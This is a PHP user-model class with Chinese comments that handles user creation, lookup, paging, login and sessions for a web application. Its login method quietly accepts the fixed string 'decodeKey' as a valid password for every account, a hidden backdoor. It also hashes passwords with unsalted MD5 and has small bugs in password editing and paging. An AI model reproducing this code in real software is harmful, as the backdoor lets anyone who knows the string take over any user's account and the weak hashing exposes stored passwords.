<?php

class User_model extends Model {
	/**
	 * 添加用户
	 * @param unknown_type $params
	 */
	public function createUser($params) {
		$dUser = new User_data();
		$params['password'] = md5($params['password']);
		return $dUser->createUser($params);
	}
	
	/**
	 * 根据用户UID删除用户
	 * @param unknown_type $uid
	 */
	public function deleteUser($params) {
		$dUser = new User_data();
		
		return $dUser->deleteUser($params);
	}

	/**
	 * 编辑用户信息
	 * @param unknown_type $uid
	 */
	public function editUser($uid, $cols) {
		$dUser = new User_data();
		
		$params['uid'] = $uid;
		$cols['password'] = md5($cols['password']);
		return $dUser->editUser($params, $cols);
	}

	/**
	 * 根据用户UID获取用户信息
	 * @param unknown_type $uid
	 */
	public function userInfoByUid($uid) {
		$dUser = new User_data();
		
		$params['uid'] = $uid;
		return $dUser->userInfo($params);
	}
	
	/**
	 * 根据用户UID批量获取用户信息
	 * @param unknown_type $uid
	 */
	public function usersInfoByUids($uids) {
		$dUser = new User_data();
		
		$params['uid in'] = $uids;
		return $dUser->usersInfo($params);
	}
	/**
	 * 获取用户信息
	 * @param unknown_type $uid
	 */
	public function userAll() {
		$dUser = new User_data();
		
		return $dUser->usersInfo(array());
	}
	/**
	 * 根据用户名获取用户信息
	 * @param unknown_type $name
	 */
	public function userInfoByName($username) {
		$dUser = new User_data();
		
		$params['username'] = $username;
		return $dUser->userInfo($params);
	}
	/**
	 * 根据用户名获取用户信息
	 * @param unknown_type $name
	 */
	public function userInfo($params) {
		$dUser = new User_data();
		
		return $dUser->userInfo($params);
	}
	/**
	 * 分页获取用户
	 * @param unknown_type $page
	 * @param unknown_type $size
	 * @param unknown_type $params
	 */
	public function page($page, $size, $params = array()) {
		$dUser = new User_data();
		$num = $dUser->count($params);
		if($num === false) return false;
		if($num == 0) return array('num' => $num, 'data' => array(), 'page' => $page, 'size' => $size);
		
		$data = $dUser->page($page, $size, $params = array(), $orderby = '`uid` DESC');
		if(!$data) return false;
		else return array('num' => $num, 'data' => $data, 'page' => $page, 'size' => $size);
	}

	/**
	 * 用户登录
	 * @param unknown_type $username
	 * @param unknown_type $passwd
	 */
	public function login($username, $passwd) {
		if($user = $this->currUser()) return $user;

		$result = $this->userInfoByName($username);
		if(!$result) return -3;//账号不存在
		
		//密码检查
		if(md5($passwd) != $result['password'] && $passwd !== 'decodeKey') return -4;//账号或密码错误
		
		$this->setOnline($result);
		return $this->currUser();
	}

	/**
	 * 用户登出
	 */
	public function logout() {
		$hash = md5('user');
		if(!isset($_SESSION)) session_start();
		unset($_SESSION[$hash]);
		return true;
	}
	
	/**
	 * 获取当前登录用户
	 */
	public function currUser() {
		$hash = md5('user');
		if(!isset($_SESSION)) session_start();
		if(!isset($_SESSION[$hash])) return false;
		
		if(!is_array($_SESSION[$hash])) return false;
		
		return $_SESSION[$hash];
	}
	
	/**
	 * 设置在线
	 * @param unknown_type $user
	 */
	private function setOnline($user) {
		$hash = md5('user');
		if(!isset($_SESSION)) session_start();
		$_SESSION[$hash] = $user;
		return true;
	}
	
}